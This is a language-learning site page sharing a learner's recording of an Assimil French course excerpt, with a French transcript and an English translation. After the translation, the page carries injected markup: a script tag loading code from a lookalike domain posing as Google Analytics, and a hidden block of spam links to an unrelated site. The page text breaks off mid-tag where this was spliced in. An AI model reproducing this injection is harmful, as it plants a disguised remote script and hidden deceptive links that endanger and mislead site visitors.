Language sounds
Home > Sounds > Assimil French Course Excerpt

‘Assimil French Course Excerpt’
Click to listen to frenchaccenttest.wav (1775Kb)
Non-native speaker
Accent: Slight American English Accent?
Author: LilleOSC
Date: 12/26/2007

Description of what is on the sound file:
Here is an excerpt from Assimil's French course. I think I have a slight
American English accent when I am speaking French here.

---

Transcript of sound file:
Ce monsieur s'appelle Henri Laforge et cette dame est sa femme.
Ils sont à la mairie pour demander une nouvelle carte d'identité pour leur
fils, Jean.
-Cet enfant, il a quel âge?
-Il a huit ans, monsieur.
-Et il s'appelle Laforge? Est-ce que c'est votre enfant?
-Oui, monsieur.
-Bien. Et il habite chez vous?
-Mais évidemment! Il a huit ans!

---

Translation:
This sir is called Henri Laforge and this lady is his wife. They are at the
municipal building to ask for a new identity card for their son, Jean.
-This child, what is his age?
-He is 8 years old, sir.
-And he is named Laforge? Is he your child?
-Yes, sir.
-Good. And he lives with you?
-But of course! He is 8 years old. 'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)